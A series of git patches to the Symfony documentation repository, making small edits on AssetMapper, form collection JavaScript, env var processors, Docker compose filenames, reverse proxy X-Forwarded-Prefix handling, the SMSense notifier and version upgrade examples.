From 5373d6b9c23a47e889b483464b4e52e9407dd794 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 16 Feb 2024 12:16:13 +0100
Subject: [PATCH 5820/7107] [AssetMapper] Minor

"update" is somewhat unclear here - might be misunderstood as "refresh in the browser"
---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 110a14d69e0..bce49727a5d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -74,8 +74,8 @@ The path - ``images/duck.png`` - is relative to your mapped directory (``assets/
 This is known as the **logical path** to your asset.
 
 If you look at the HTML in your page, the URL will be something
-like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you update
-the file, the version part of the URL will change automatically!
+like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you change
+the file, the version part of the URL will also change automatically.
 
 Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 690ca73e726b59c29ed19dbffc6276b7c6760418 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 16 Feb 2024 12:25:08 +0100
Subject: [PATCH 5821/7107] [AssetMapper] Minor

---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 110a14d69e0..83771867179 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -167,8 +167,8 @@ this section, the ``assets/app.js`` file is loaded & executed by the browser.
 
 .. tip::
 
-    When importing relative files, be sure to include the ``.js`` extension.
-    Unlike in Node, the extension is required in the browser environment.
+    When importing relative files, be sure to include the ``.js`` filename extension.
+    Unlike in Node.js, this extension is required in the browser environment.
 
 Importing 3rd Party JavaScript Packages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 9ecec6edf9d5c994172bc5bfec84da9c64e26484 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 Feb 2024 13:20:11 +0100
Subject: [PATCH 5822/7107] [Best Practices] Recommend AssetMapper instead of
 Webpack Encore

---
 best_practices.rst | 16 +++++++---------
 1 file changed, 7 insertions(+), 9 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index 6541ac3ed02..afc72774ad9 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -376,17 +376,15 @@ inside the ``#[Security]`` attribute.
 Web Assets
 ----------
 
-Use Webpack Encore to Process Web Assets
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _use-webpack-encore-to-process-web-assets:
 
-Web assets are things like CSS, JavaScript, and image files that make the
-frontend of your site look and work great. `Webpack`_ is the leading JavaScript
-module bundler that compiles, transforms and packages assets for usage in a browser.
+Use AssetMapper to Manage Web Assets
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-:doc:`Webpack Encore </frontend>` is a JavaScript library that gets rid of most
-of Webpack complexity without hiding any of its features or distorting its usage
-and philosophy. It was created for Symfony applications, but it works
-for any application using any technology.
+Web assets are the CSS, JavaScript, and image files that make the frontend of
+your site look and work great. :doc:`AssetMapper </frontend/asset_mapper>` lets
+you write modern JavaScript and CSS without the complexity of using a bundler
+such as `Webpack`_ (directly or via :doc:`Webpack Encore </frontend/encore/index>`).
 
 Tests
 -----

From 95fec6eb857cf5a16ee2871a0e168eed70b05b7f Mon Sep 17 00:00:00 2001
From: Jan Rosier <rosier@interstroom.nl>
Date: Sat, 17 Feb 2024 19:42:13 +0100
Subject: [PATCH 5823/7107] Remove function getSalt() from security user class

---
 security.rst | 11 -----------
 1 file changed, 11 deletions(-)

diff --git a/security.rst b/security.rst
index 36bed55587e..a2f6255105c 100644
--- a/security.rst
+++ b/security.rst
@@ -193,17 +193,6 @@ from the `MakerBundle`_:
             return $this;
         }
 
-        /**
-         * Returning a salt is only needed if you are not using a modern
-         * hashing algorithm (e.g. bcrypt or sodium) in your security.yaml.
-         *
-         * @see UserInterface
-         */
-        public function getSalt(): ?string
-        {
-            return null;
-        }
-
         /**
          * @see UserInterface
          */

From 67eff99771756e5e90540362aa2fe5b8786ea9e1 Mon Sep 17 00:00:00 2001
From: Jenne van der Meer <jennevdmeer@impulze.net>
Date: Mon, 19 Feb 2024 00:54:34 -0800
Subject: [PATCH 5824/7107] [Forms] Use regular JavaScript functions in the
 examples

---
 form/form_collections.rst | 9 +++++----
 1 file changed, 5 insertions(+), 4 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index e3869f124b6..ff4dd4794b1 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -314,7 +314,7 @@ you'll replace with a unique, incrementing number (e.g. ``task[tags][3][name]``)
 
 .. code-block:: javascript
 
-    const addFormToCollection = (e) => {
+    function addFormToCollection(e) {
       const collectionHolder = document.querySelector('.' + e.currentTarget.dataset.collectionHolderClass);
 
       const item = document.createElement('li');
@@ -579,7 +579,8 @@ on the server. In order for this to work in an HTML form, you must remove
 the DOM element for the collection item to be removed, before submitting
 the form.
 
-First, add a "delete this tag" link to each tag form:
+In our JavaScript, we first need add a "delete" button to each existing tag on the page.
+Then, we append the "add delete button" method in the function that adds the new tags.
 
 .. code-block:: javascript
 
@@ -591,7 +592,7 @@ First, add a "delete this tag" link to each tag form:
 
     // ... the rest of the block from above
 
-    const addFormToCollection = (e) => {
+    function addFormToCollection(e) {
         // ...
 
         // add a delete link to the new form
@@ -602,7 +603,7 @@ The ``addTagFormDeleteLink()`` function will look something like this:
 
 .. code-block:: javascript
 
-    const addTagFormDeleteLink = (item) => {
+    function addTagFormDeleteLink(item) {
         const removeFormButton = document.createElement('button');
         removeFormButton.innerText = 'Delete this tag';
 

From 91c545f5b0daa91728e46b145966ad0dfd22532d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 19 Feb 2024 12:55:06 +0100
Subject: [PATCH 5825/7107] Minor tweak

---
 form/form_collections.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/form_collections.rst b/form/form_collections.rst
index ff4dd4794b1..f0ad76a8a61 100644
--- a/form/form_collections.rst
+++ b/form/form_collections.rst
@@ -579,8 +579,8 @@ on the server. In order for this to work in an HTML form, you must remove
 the DOM element for the collection item to be removed, before submitting
 the form.
 
-In our JavaScript, we first need add a "delete" button to each existing tag on the page.
-Then, we append the "add delete button" method in the function that adds the new tags.
+In the JavaScript code, add a "delete" button to each existing tag on the page.
+Then, append the "add delete button" method in the function that adds the new tags:
 
 .. code-block:: javascript
 

From 20e562eb8e26a8477a6312cc74285093daeecdff Mon Sep 17 00:00:00 2001
From: javaDeveloperKid <25783196+javaDeveloperKid@users.noreply.github.com>
Date: Fri, 16 Feb 2024 22:12:12 +0100
Subject: [PATCH 5826/7107] be more specific about bool env var processor

---
 configuration/env_var_processors.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index b5539868524..33ab4947449 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -105,7 +105,7 @@ Symfony provides the following env var processors:
 
 ``env(bool:FOO)``
     Casts ``FOO`` to a bool (``true`` values are ``'true'``, ``'on'``, ``'yes'``
-    and all numbers except ``0`` and ``0.0``; everything else is ``false``):
+    and all numbers (also of a string type) except ``0`` and ``0.0``; everything else is ``false``):
 
     .. configuration-block::
 

From 85ba3639c1068dab2d654c4ee1c5b704534c300b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Feb 2024 08:44:19 +0100
Subject: [PATCH 5827/7107] Reword

---
 configuration/env_var_processors.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 33ab4947449..475a078c0a5 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -104,8 +104,9 @@ Symfony provides the following env var processors:
             };
 
 ``env(bool:FOO)``
-    Casts ``FOO`` to a bool (``true`` values are ``'true'``, ``'on'``, ``'yes'``
-    and all numbers (also of a string type) except ``0`` and ``0.0``; everything else is ``false``):
+    Casts ``FOO`` to a bool (``true`` values are ``'true'``, ``'on'``, ``'yes'``,
+    all numbers except ``0`` and ``0.0`` and all numeric strings except ``'0'``
+    and ``'0.0'``; everything else is ``false``):
 
     .. configuration-block::
 

From f968ab2d8d38ff8fa414cb645ccc7c89145e7d90 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Feb 2024 13:08:09 +0100
Subject: [PATCH 5828/7107] Fix the toctree syntax of some content

---
 index.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/index.rst b/index.rst
index 86893b84ac4..c566e5f8671 100644
--- a/index.rst
+++ b/index.rst
@@ -85,4 +85,7 @@ Create your Own Framework
 
 Want to create your own framework based on Symfony?
 
-.. include:: /create_framework/map.rst.inc
+.. toctree::
+   :maxdepth: 2
+
+   create_framework/index

From 2d2a1cef9da895a542db044285afc86114f49d2b Mon Sep 17 00:00:00 2001
From: Tom Egan <61425509+tomegantcs@users.noreply.github.com>
Date: Tue, 13 Dec 2022 14:05:13 -0500
Subject: [PATCH 5829/7107] [Console][Testing] Correct what appears to be
 intended behavior vs actual behavior in documentation

---
 console.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/console.rst b/console.rst
index 7c4738a0b48..328a42ea2bf 100644
--- a/console.rst
+++ b/console.rst
@@ -565,11 +565,11 @@ call ``setAutoExit(false)`` on it to get the command result in ``CommandTester``
 
 .. caution::
 
-    When testing ``InputOption::VALUE_NONE`` command options, you must pass an
-    empty value to them::
+    When testing ``InputOption::VALUE_NONE`` command options, you must pass ``true``
+    to them::
 
         $commandTester = new CommandTester($command);
-        $commandTester->execute(['--some-option' => '']);
+        $commandTester->execute(['--some-option' => true]);
 
 .. note::
 

From 2013117084618dae783a1140e6c94281ee8cec1d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Adrian=20G=C3=BCnter?= <adrianguenter@gmail.com>
Date: Mon, 19 Feb 2024 14:52:47 -0500
Subject: [PATCH 5830/7107] Update lazy_services.rst

Update verbage to match the code example
---
 service_container/lazy_services.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 905c4b3a599..a29e7ca691e 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -121,7 +121,7 @@ You can also configure laziness when your service is injected with the
     }
 
 This attribute also allows you to define the interfaces to proxy when using
-laziness, and supports lazy-autowiring of intersection types::
+laziness, and supports lazy-autowiring of union types::
 
     public function __construct(
         #[Autowire(service: 'foo', lazy: FooInterface::class)]

From f3d9113d5a5d988144cc2b57d8a2b05cb4c01aad Mon Sep 17 00:00:00 2001
From: Xbird <contact@xbird.me>
Date: Wed, 21 Feb 2024 21:59:16 +0100
Subject: [PATCH 5831/7107] Replace old docker compose filename

docker-compose.yml/yaml to compose.yaml
---
 .doctor-rst.yaml         |  1 +
 setup/docker.rst         |  2 +-
 setup/symfony_server.rst | 12 ++++++------
 3 files changed, 8 insertions(+), 7 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index ac51116da5b..f4c48a0bf54 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -93,6 +93,7 @@ whitelist:
         - '/``.yml``/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
         - /docker-compose\.yml/
+        - /compose\.yaml/
     lines:
         - 'in config files, so the old ``app/config/config_dev.yml`` goes to'
         - '#. The most important config file is ``app/config/services.yml``, which now is'
diff --git a/setup/docker.rst b/setup/docker.rst
index 63da416e7bf..c00192e08d4 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -19,7 +19,7 @@ Flex Recipes & Docker Configuration
 
 The :ref:`Flex recipe <symfony-flex>` for some packages also include Docker configuration.
 For example, when you run ``composer require doctrine`` (to get ``symfony/orm-pack``),
-your ``docker-compose.yml`` file will automatically be updated to include a
+your ``compose.yaml`` file will automatically be updated to include a
 ``database`` service.
 
 The first time you install a recipe containing Docker config, Flex will ask you
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c6b817ebdb5..6c666a7ad2e 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -388,7 +388,7 @@ Consider the following configuration:
 
 .. code-block:: yaml
 
-    # docker-compose.yaml
+    # compose.yaml
     services:
         database:
             ports: [3306]
@@ -401,12 +401,12 @@ variables accordingly with the service name (``database``) as a prefix:
 If the service is not in the supported list below, generic environment
 variables are set: ``PORT``, ``IP``, and ``HOST``.
 
-If the ``docker-compose.yaml`` names do not match Symfony's conventions, add a
+If the ``compose.yaml`` names do not match Symfony's conventions, add a
 label to override the environment variables prefix:
 
 .. code-block:: yaml
 
-    # docker-compose.yaml
+    # compose.yaml
     services:
         db:
             ports: [3306]
@@ -471,7 +471,7 @@ check the "Symfony Server" section in the web debug toolbar; you'll see that
 
     .. code-block:: yaml
 
-        # docker-compose.yaml
+        # compose.yaml
         services:
             db:
                 ports: [3306]
@@ -485,10 +485,10 @@ its location, same as for ``docker-compose``:
 .. code-block:: bash
 
     # start your containers:
-    COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name docker-compose up -d
+    COMPOSE_FILE=docker/compose.yaml COMPOSE_PROJECT_NAME=project_name docker-compose up -d
 
     # run any Symfony CLI command:
-    COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name symfony var:export
+    COMPOSE_FILE=docker/compose.yaml COMPOSE_PROJECT_NAME=project_name symfony var:export
 
 .. note::
 

From 4f353624dfdc7e30bfe1dc5e423c60ce076d1403 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 22 Feb 2024 12:18:16 +0100
Subject: [PATCH 5832/7107] -

---
 form/events.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/form/events.rst b/form/events.rst
index 07d01e026e9..745df2df453 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -62,6 +62,7 @@ A) The ``FormEvents::PRE_SET_DATA`` Event
 The ``FormEvents::PRE_SET_DATA`` event is dispatched at the beginning of the
 ``Form::setData()`` method. It is used to modify the data given during
 pre-population with
+:method:`FormEvent::setData() <Symfony\\Component\\Form\\FormEvent::setData>`.
 The method :method:`Form::setData() <Symfony\\Component\\Form\\Form::setData>`
 is locked since the event is dispatched from it and will throw an exception
 if called from a listener.

From 711d27c73b89f86dc6dfd6699d5e1cb494545fd6 Mon Sep 17 00:00:00 2001
From: hbgamra <ha.ben.gamra@gmail.com>
Date: Fri, 16 Feb 2024 15:17:18 +0100
Subject: [PATCH 5833/7107] Update serializer.rst

use php8 functions to manipulate string
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index d35051ddf5d..1ebe70bb204 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -606,7 +606,7 @@ A custom name converter can handle such cases::
         public function denormalize(string $propertyName)
         {
             // removes 'org_' prefix
-            return 'org_' === substr($propertyName, 0, 4) ? substr($propertyName, 4) : $propertyName;
+            return str_starts_with($propertyName, 'org_') ? substr($propertyName, 4) : $propertyName;
         }
     }
 

From 06a9da6ab68b0e4c4c2adf34178107b3cee1fd32 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20B=C3=B6hmer?= <mail@jan-boehmer.de>
Date: Sat, 11 Nov 2023 23:38:09 +0100
Subject: [PATCH 5834/7107] Added docs on how to configure the reverse proxy
 for a subfolder & Documented the usage of X-Forwared-Prefix

---
 deployment/proxies.rst | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index 416039ee040..128c1c96422 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -159,6 +159,29 @@ enough, as it will only trust the node sitting directly above your application
 ranges of any additional proxy (e.g. `CloudFront IP ranges`_) to the array of
 trusted proxies.
 
+Reverse proxy in a subpath / subfolder
+--------------------------------------
+
+If you a running a Symfony application behind a reverse proxy, where the application is served in a subpath / subfolder,
+you might encounter the problem that Symfony generates incorrect URLs, which ignore the subpath / subfolder of the reverse proxy.
+To fix this, you need to pass the subpath / subfolder route prefix of the reverse proxy to Symfony by
+setting the ``X-Forwarded-Prefix`` header. This is required for Symfony to generate the correct URLs. The header can normally be configured
+in your reverse proxy configuration. Configure ``X-Forwared-Prefix`` as trusted header to be able to use this feature.
+
+The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request objects, which is
+used to generate absolute paths and URLs in Symfony applications. Without the header, the base URL would be only determined
+based on the configuration of the web server running Symfony, which leads to incorrect pathes/URLs, when the application
+is served under a subpath by a reverse proxy.
+
+For example if your symfony application is directly served under an URL like ``https://symfony.tld/``
+and you would like to use a reverse proxy to serve the application under ``https://public.tld/app/``, you would need
+to set the ``X-Forwarded-Prefix`` header to ``/app/`` in your reverse proxy configuration.
+Without the header, Symfony would generate URLs based on its servers base URL (e.g. ``/my/route``) instead of the correct
+``/app/my/route``, which is required to access the route via the reverse proxy.
+
+The header can be different for each reverse proxy, so that access via different reverse proxies served under different
+subpaths can be handled correctly.
+
 Custom Headers When Using a Reverse Proxy
 -----------------------------------------
 

From 4d94af15b66f2b01645ba9324f22b55e74eb8ef0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 Feb 2024 16:22:21 +0100
Subject: [PATCH 5835/7107] Minor tweaks

---
 deployment/proxies.rst | 44 ++++++++++++++++++++++++------------------
 1 file changed, 25 insertions(+), 19 deletions(-)

diff --git a/deployment/proxies.rst b/deployment/proxies.rst
index f3ed2bd0fba..0fdb3fd9350 100644
--- a/deployment/proxies.rst
+++ b/deployment/proxies.rst
@@ -162,25 +162,31 @@ trusted proxies.
 Reverse proxy in a subpath / subfolder
 --------------------------------------
 
-If you a running a Symfony application behind a reverse proxy, where the application is served in a subpath / subfolder,
-you might encounter the problem that Symfony generates incorrect URLs, which ignore the subpath / subfolder of the reverse proxy.
-To fix this, you need to pass the subpath / subfolder route prefix of the reverse proxy to Symfony by
-setting the ``X-Forwarded-Prefix`` header. This is required for Symfony to generate the correct URLs. The header can normally be configured
-in your reverse proxy configuration. Configure ``X-Forwared-Prefix`` as trusted header to be able to use this feature.
-
-The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request objects, which is
-used to generate absolute paths and URLs in Symfony applications. Without the header, the base URL would be only determined
-based on the configuration of the web server running Symfony, which leads to incorrect pathes/URLs, when the application
-is served under a subpath by a reverse proxy.
-
-For example if your symfony application is directly served under an URL like ``https://symfony.tld/``
-and you would like to use a reverse proxy to serve the application under ``https://public.tld/app/``, you would need
-to set the ``X-Forwarded-Prefix`` header to ``/app/`` in your reverse proxy configuration.
-Without the header, Symfony would generate URLs based on its servers base URL (e.g. ``/my/route``) instead of the correct
-``/app/my/route``, which is required to access the route via the reverse proxy.
-
-The header can be different for each reverse proxy, so that access via different reverse proxies served under different
-subpaths can be handled correctly.
+If your Symfony application runs behind a reverse proxy and it's served in a
+subpath/subfolder, Symfony might generate incorrect URLs that ignore the
+subpath/subfolder of the reverse proxy.
+
+To fix this, you need to pass the subpath/subfolder route prefix of the reverse
+proxy to Symfony by setting the ``X-Forwarded-Prefix`` header. The header can
+normally be configured in your reverse proxy configuration. Configure
+``X-Forwared-Prefix`` as trusted header to be able to use this feature.
+
+The ``X-Forwarded-Prefix`` is used by Symfony to prefix the base URL of request
+objects, which is used to generate absolute paths and URLs in Symfony applications.
+Without the header, the base URL would be only determined based on the configuration
+of the web server running Symfony, which leads to incorrect paths/URLs, when the
+application is served under a subpath/subfolder by a reverse proxy.
+
+For example if your Symfony application is directly served under a URL like
+``https://symfony.tld/`` and you would like to use a reverse proxy to serve the
+application under ``https://public.tld/app/``, you would need to set the
+``X-Forwarded-Prefix`` header to ``/app/`` in your reverse proxy configuration.
+Without the header, Symfony would generate URLs based on its server base URL
+(e.g. ``/my/route``) instead of the correct ``/app/my/route``, which is
+required to access the route via the reverse proxy.
+
+The header can be different for each reverse proxy, so that access via different
+reverse proxies served under different subpaths/subfolders can be handled correctly.
 
 Custom Headers When Using a Reverse Proxy
 -----------------------------------------

From 63616dc7c37e931ffbad8ea85f5a86bf2ce5c224 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Thu, 22 Feb 2024 16:45:26 +0100
Subject: [PATCH 5836/7107] chore: doc asset

---
 components/asset.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index df4a6aa3121..e515b41395c 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -211,19 +211,19 @@ every day::
 
     class DateVersionStrategy implements VersionStrategyInterface
     {
-        private $version;
+        private string $version;
 
         public function __construct()
         {
             $this->version = date('Ymd');
         }
 
-        public function getVersion(string $path)
+        public function getVersion(string $path): string
         {
             return $this->version;
         }
 
-        public function applyVersion(string $path)
+        public function applyVersion(string $path): string
         {
             return sprintf('%s?v=%s', $path, $this->getVersion($path));
         }

From 4fc32cdad4d9a6a1373ca267e0066b774316f2e4 Mon Sep 17 00:00:00 2001
From: Valentin-Nicusor Barbu <jimiero@gmail.com>
Date: Thu, 8 Feb 2024 13:50:42 +0200
Subject: [PATCH 5837/7107] [Notifier] [SMSense] add docs

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 774294c3577..3cf7f19d3df 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -96,6 +96,7 @@ Service             Package                                DSN
 `Smsapi`_           ``symfony/smsapi-notifier``            ``smsapi://TOKEN@default?from=FROM``
 `Smsbox`_           ``symfony/smsbox-notifier``            ``smsbox://APIKEY@default?mode=MODE&strategy=STRATEGY&sender=SENDER``
 `Smsc`_             ``symfony/smsc-notifier``              ``smsc://LOGIN:PASSWORD@default?from=FROM``
+`SMSense`_          ``symfony/smsense-notifier``           ``smsense://API_TOKEN@default?from=FROM``
 `SpotHit`_          ``symfony/spot-hit-notifier``          ``spothit://TOKEN@default?from=FROM``
 `Telnyx`_           ``symfony/telnyx-notifier``            ``telnyx://API_KEY@default?from=FROM&messaging_profile_id=MESSAGING_PROFILE_ID``
 `TurboSms`_         ``symfony/turbo-sms-notifier``         ``turbosms://AUTH_TOKEN@default?from=FROM``
@@ -114,7 +115,7 @@ Service             Package                                DSN
 
 .. versionadded:: 7.1
 
-    The `SmsSluzba`_ integration was introduced in Symfony 7.1.
+    The `SmsSluzba`_ and  `SMSense`_ integrations were introduced in Symfony 7.1.
 
 .. deprecated:: 7.1
 

From 7c5c13f00a06be24f903c21bc422a037e4012097 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Fri, 23 Feb 2024 08:46:30 +0100
Subject: [PATCH 5838/7107] -

---
 notifier.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/notifier.rst b/notifier.rst
index 1241298d3ee..be51386544a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -1041,6 +1041,7 @@ is dispatched. Listeners receive a
 .. _`Smsbox`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsbox/README.md
 .. _`Smsapi`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsapi/README.md
 .. _`Smsc`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Smsc/README.md
+.. _`SMSense`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SMSense/README.md
 .. _`SmsSluzba`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SmsSluzba/README.md
 .. _`SpotHit`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/SpotHit/README.md
 .. _`Telegram`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Notifier/Bridge/Telegram/README.md

From 82fe0b7e81ed004f594f5aac74e3ab30533a8a70 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 25 Feb 2024 21:22:51 +0100
Subject: [PATCH 5839/7107] [AssetMapper] Minor

---
 frontend.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend.rst b/frontend.rst
index 15fc5994aba..d62c4dedde5 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -35,7 +35,7 @@ Supports Sass/Tailwind            :ref:`yes <asset-mapper-tailwind>`  yes
 Supports React, Vue, Svelte?      yes :ref:`[1] <ux-note-1>`          yes
 Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no                                  yes
-Removes comments from CSS         no                                  no :ref:`[2] <ux-note-2>`
+Removes comments from CSS         no :ref:`[2] <ux-note-2>`           no :ref:`[2] <ux-note-2>`
 Versioned assets                  always                              optional
 ================================  ==================================  ==========
 

From 4246b9e440845e3c7ccef2319ddf7465da7c7f98 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 26 Feb 2024 07:04:08 +0100
Subject: [PATCH 5840/7107] chore: document latest LTS

https://symfony.com/versions.json
---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 8a1a0bb67e0..7633235ea12 100644
--- a/setup.rst
+++ b/setup.rst
@@ -272,14 +272,14 @@ stable version. If you want to use an LTS version, add the ``--version`` option:
     $ symfony new my_project_directory --version=next
 
     # you can also select an exact specific Symfony version
-    $ symfony new my_project_directory --version="5.4.*"
+    $ symfony new my_project_directory --version="6.4.*"
 
 The ``lts`` and ``next`` shortcuts are only available when using Symfony to
 create new projects. If you use Composer, you need to tell the exact version:
 
 .. code-block:: terminal
 
-    $ composer create-project symfony/skeleton:"5.4.*" my_project_directory
+    $ composer create-project symfony/skeleton:"6.4.*" my_project_directory
 
 The Symfony Demo application
 ----------------------------

From 858f548a0db0c335578be3307bd664e06aa98615 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 26 Feb 2024 07:07:42 +0100
Subject: [PATCH 5841/7107] chore: document minor upgrade with latest versions

follows https://github.com/symfony/symfony-docs/pull/19599
---
 setup/upgrade_minor.rst | 24 +++++++++++-------------
 1 file changed, 11 insertions(+), 13 deletions(-)

diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 9e8c6943d1f..ec00e142b82 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -1,4 +1,4 @@
-Upgrading a Minor Version (e.g. 5.0.0 to 5.1.0)
+Upgrading a Minor Version (e.g. 6.3.0 to 6.4.0)
 ===============================================
 
 If you're upgrading a minor version (where the middle number changes), then
@@ -21,7 +21,7 @@ There are two steps to upgrading a minor version:
 The ``composer.json`` file is configured to allow Symfony packages to be
 upgraded to patch versions. But to upgrade to a new minor version, you will
 probably need to update the version constraint next to each library starting
-``symfony/``. Suppose you are upgrading from Symfony 5.3 to 5.4:
+``symfony/``. Suppose you are upgrading from Symfony 6.3 to 6.4:
 
 .. code-block:: diff
 
@@ -29,19 +29,17 @@ probably need to update the version constraint next to each library starting
           "...": "...",
 
           "require": {
-    -         "symfony/cache": "5.3.*",
-    +         "symfony/cache": "5.4.*",
-    -         "symfony/config": "5.3.*",
-    +         "symfony/config": "5.4.*",
-    -         "symfony/console": "5.3.*",
-    +         "symfony/console": "5.4.*",
+    -         "symfony/config": "6.3.*",
+    +         "symfony/config": "6.4.*",
+    -         "symfony/console": "6.3.*",
+    +         "symfony/console": "6.4.*",
               "...": "...",
 
               "...": "A few libraries starting with
                       symfony/ follow their own versioning scheme. You
                       do not need to update these versions: you can
                       upgrade them independently whenever you want",
-              "symfony/monolog-bundle": "^3.5",
+              "symfony/monolog-bundle": "^3.10",
           },
           "...": "...",
       }
@@ -54,8 +52,8 @@ Your ``composer.json`` file should also have an ``extra`` block that you will
       "extra": {
           "symfony": {
               "...": "...",
-    -         "require": "5.3.*"
-    +         "require": "5.4.*"
+    -         "require": "6.3.*"
+    +         "require": "6.4.*"
           }
       }
 
@@ -79,7 +77,7 @@ to your code to get everything working. Additionally, some features you're
 using might still work, but might now be deprecated. While that's fine,
 if you know about these deprecations, you can start to fix them over time.
 
-Every version of Symfony comes with an UPGRADE file (e.g. `UPGRADE-5.4.md`_)
+Every version of Symfony comes with an UPGRADE file (e.g. `UPGRADE-6.4.md`_)
 included in the Symfony directory that describes these changes. If you follow
 the instructions in the document and update your code accordingly, it should be
 safe to update in the future.
@@ -97,5 +95,5 @@ These documents can also be found in the `Symfony Repository`_.
 .. include:: /setup/_update_recipes.rst.inc
 
 .. _`Symfony Repository`: https://github.com/symfony/symfony
-.. _`UPGRADE-5.4.md`: https://github.com/symfony/symfony/blob/5.4/UPGRADE-5.4.md
+.. _`UPGRADE-6.4.md`: https://github.com/symfony/symfony/blob/6.4/UPGRADE-6.4.md
